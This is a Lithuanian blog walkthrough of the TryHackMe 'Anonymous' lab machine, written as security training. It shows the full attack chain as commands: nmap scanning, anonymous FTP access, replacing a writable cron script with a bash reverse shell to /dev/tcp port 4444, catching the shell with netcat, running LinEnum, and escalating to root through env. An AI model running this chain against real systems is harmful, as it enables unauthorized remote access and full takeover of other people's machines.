Kambario Anonymous Pažeidžiamumų Paaiškinimas | TryHackMe Demonstracija

Tomas Savenas
savenas.lt
Published in
3 min readAug 4, 2020

--

Įvadas

Šį virtuali mašina veikia ant Linux operacinės sistemos, tad reikės šios OS komandinės eilutės įgūdžiu. Taip pat žinoti kaip viekia pasinaudoti nmap [1] susirinkti informacija, kaip pasidautori FTP priega [2], Reverse Shell [3], bei scriptu [4], kuris palengvins mums darbą ieškant sistemo silpnų vietų.

Informacijos Rinkimas

Paleiskime VM mygtuku “Deploy” . Kol užsikraus, pasiruoškime įrankius, savo Kali VM, taip pat nmap.

Rekomenduoju vesti užrašus, kad lengviau sekti ar atgaminti procesą kilus interneto trikdžiui. Pasižymėkime kuris yra mūsų IP adresas, kuris taikinio, nes tai yra svarbu atliekant Reverse Shell.

Mano Kali VM Adresas:
Mano Taikinio Adresas:

Pasidarykime kintamąjį ip, kad toliau būtų patogiau naudoti. Šiuo atveju mano demonstracinis adresas bus 10.10.111.10.

ip=10.10.111.10

Skenuokime su nmap komandą

nmap $ip

Gautas rezultas yra mums reikalingas atsakymas kiek prievadų atvirų. Kaip vadinasi paslauga kuri klausosi ant 21 prievado, tęsiant tolimes informacijos rinkimą apie FTP, galime būtų patikrinti ar nepalikta svečio prieigą. Paleiskime skriptų rinkinuką.

nmap -sC -p 21 $ip

Taip pat reikėtų sužinoti kokie katalogai yra skirti dalintis, tam panaudokime skriptą:

nmap --script smb-enum-shares.nse -p 445,139 $ip

Matysime, kad rezultatai džiuginą, tarp jų yra svečio prieiga ir katalogo pavadinimas.

Naudotojo Priegos Gavimas

Prisijunkime prie FTP su ftp įrankiu.

ftp -i $ip

Prašys įvesti naudotojo varda ir slaptažodį, tačiau ftp turi svečio teisėmis veikiančia direktoriją.

FTP komandos yra ls, cd, mput, mget. Galima pasižiūrėti [2]. Taip pat prieš keliant failus iš/į savo direktorija, geriausia būtu naudoti dvejatainį režimą — binary. JIs turėtų būti automatiškai įjungiamas, jeigu nebus. Įjungti galima tik prisijungus prie FTP su komandą:

binary

Toliau galima būtu nueiti prie sistemos scripts ir peržiūrėti esamą skriptą clean.sh jis yra skirtas išvalyti failus.

cd scripts

Su ls komanda matome, kad turi teises, bet kas paleisti įrašyti.

ls

Taigi mes galima įkelti savo komandą ir ją paleisti cronas kuris kviečią šitą skriptą. Parsisiųskime skriptą pas save į Kali sistemą ir paredaguokime taip:

mget *

Patvirtinkime su yes, mums įkels į tą direktoriją kurioje buvome prieš prisijungiant į FTP serverį. Pasikoreguokime failą taip, kad Kali.VM.IP būtu jūsų IP adresas.

echo '#!/bin/bash' > clean.sh
echo "bash -i >& /dev/tcp/$ip/4444 0>&1" >> clean.sh

Perkelkime clean.sh failą į FTP serverį. Pakartokime prisijungimą ir nueikime iki scrips direktoriją. Kai esame jau ten atlikime komandą.

mput clean.sh

Patvirtiname yes, ir mes jau turime įkėlią skriptą, kitas žingsnis tai yra kitame terminalo lange pasileisti Reverse Shell ir pasiimti naudotojo vėliavą.

nc -lvp 4444

Po minutes dviejų atsidarys mums terminalo sesiją su to naudotojo teisėmis, mes jo home direktorijoje matysime user.txt failiuką. Su cat komandą galėsime peržiūrėti jos turinį, jis reikalingas užbaigti užduotį.

Prieigos išlaikymas

Sesija nestabilį gali būti ir mums reikia priegą pasikeltį iki administratoriaus ir rasti root.txt. Tai me naudojime vieną išorinį įrankį, kurį irgi reikia persikelti taip.

Reverse Shell sesiją palikime, kaboti. Atsiųskime skriptą į savo Kali VM kitame terminale su komandą.

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Tuomet atlikime perkėliją taip pat perkėlime clean.sh skriptą. Įsitikinkime ar tikrai jis yra toje direktorijoje su ls komandą. Grįškime į Reverse Shell terminalą ir paleiskime skriptą.

bash /var/ftp/scripts/LinEnum.sh

Peržiūrėkime ką rado tarp išrašų turėtume matyi env komandą gali leisti root teisėmis. Paleiskime taip

env /bin/bash -pi
whoami

matysime, kad esame root naudotas, tęskime paieškas.Naudotojo namų kataloge matysime yra failiukas root.txt, atsidarykime su cat komandą ir perskaityme jo turinį, tai bus mūsų paskutinė vėliavą.

cd /root && cat root.txt

Šaltiniai

#1 https://medium.com/hackerman-lt/kas-yra-nmap-ir-kaip-juo-naudotis-49a376400e8c
#2 https://stackoverflow.com/questions/9461844/how-to-move-files-using-ftp-commands
#3 https://medium.com/hackerman-lt/kas-yra-reverse-shell-ir-kaip-juo-naudotis-9d9bd43d1207
#4 https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

--

--

Tomas Savenas
savenas.lt

Kibernetinio saugumo entuziastas; Aktyviausias Lietuvis TryHackMe platformoje; Inovacijų valdymo ir Antreprenerystės Magistrantas @ KTU